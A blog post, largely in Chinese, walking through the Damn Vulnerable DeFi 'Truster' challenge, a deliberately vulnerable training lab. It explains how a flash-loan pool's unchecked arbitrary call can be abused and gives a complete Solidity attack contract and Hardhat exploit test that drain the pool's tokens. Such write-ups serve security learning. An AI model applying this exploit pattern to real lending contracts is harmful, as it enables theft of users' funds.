# Damn Vulnerable DeFi 挑战记录 #3 - Truster **Published by:** [Runstar](https://paragraph.com/@runstar/) **Published on:** 2022-07-28 **URL:** https://paragraph.com/@runstar/damn-vulnerable-defi-3-truster ## Content Challenge #3 - TrusterMore and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free. Currently the pool has 1 million DVT tokens in balance. And you have nothing. But don't worry, you might be able to take them all from the pool. In a single transaction.See the contractsComplete the challengeOpenZeppelin文档 目标: 取走闪电贷池中的100万个DVT token after(async function () { /** SUCCESS CONDITIONS */ // Attacker has taken all tokens from the pool expect(await this.token.balanceOf(attacker.address)).to.equal(TOKENS_IN_POOL); expect(await this.token.balanceOf(this.pool.address)).to.equal("0"); }); 代码解析:TrusterLenderPool.sol 闪电贷池合约flashLoan 函数 function flashLoan( uint256 borrowAmount, address borrower, address target, bytes calldata data ) external nonReentrant { uint256 balanceBefore = damnValuableToken.balanceOf(address(this)); require(balanceBefore >= borrowAmount, "Not enough tokens in pool"); damnValuableToken.transfer(borrower, borrowAmount); target.functionCall(data); uint256 balanceAfter = damnValuableToken.balanceOf(address(this)); require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back"); } borrowAmount - 借款金额, borrower - 借款地址target - Call目标地址, data - Call的内容常规闪电贷逻辑, 被nonReentrant保护攻击思路:flashLoan 函数中的闪电贷逻辑本意为让我们通过target.functionCall(data)执行闪电贷套利操作并还款. 但target可以为任意地址, data可以写入任意内容. 如果我们借款0eth,就不需要在 target.functionCall(data)还款,因此可以用其执行任意操作. 为了取走闪电贷池中的所有DVT token,直接让闪电贷池合约通过target.functionCall(data) 完成对攻击者地址的DVT token approve授权,进而转走所有token代码示例:interface ITrusterLenderPool { function flashLoan( uint256 borrowAmount, address borrower, address target, bytes calldata data ) external; } contract TrusterAttack { ITrusterLenderPool pool; IERC20 token; uint256 poolBalance; constructor(address _pool, address _token) { pool = ITrusterLenderPool(_pool); token = IERC20(_token); poolBalance = token.balanceOf(address(pool)); bytes memory data = abi.encodeWithSignature( "approve(address,uint256)", address(this), poolBalance ); pool.flashLoan(0, address(this), address(token), data); token.transferFrom(address(pool), msg.sender, poolBalance); } } it("Exploit", async function () { /** CODE YOUR EXPLOIT HERE */ const AttackFactory = await ethers.getContractFactory("TrusterAttack", attacker); // Run Exploit constructor. await AttackFactory.deploy(this.pool.address, this.token.address); }); 运行通过❯ yarn run truster yarn run v1.22.19 warning ../../package.json: No license field $ yarn hardhat test test/truster/truster.challenge.js warning ../../package.json: No license field $ /home/runstar/solidityLearn/damn-vulnerable-defi/node_modules/.bin/hardhat test test/truster/truster.challenge.js Compiling 1 file with 0.8.7 Compilation finished successfully [Challenge] Truster ✓ Exploit (700ms) 1 passing (2s) Done in 4.84s. **Twitter: @0xRunstar ## Publication Information - [Runstar](https://paragraph.com/@runstar/): Publication homepage - [All Posts](https://paragraph.com/@runstar/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@runstar): Subscribe to updates - [Twitter](https://twitter.com/0xRunstar): Follow on Twitter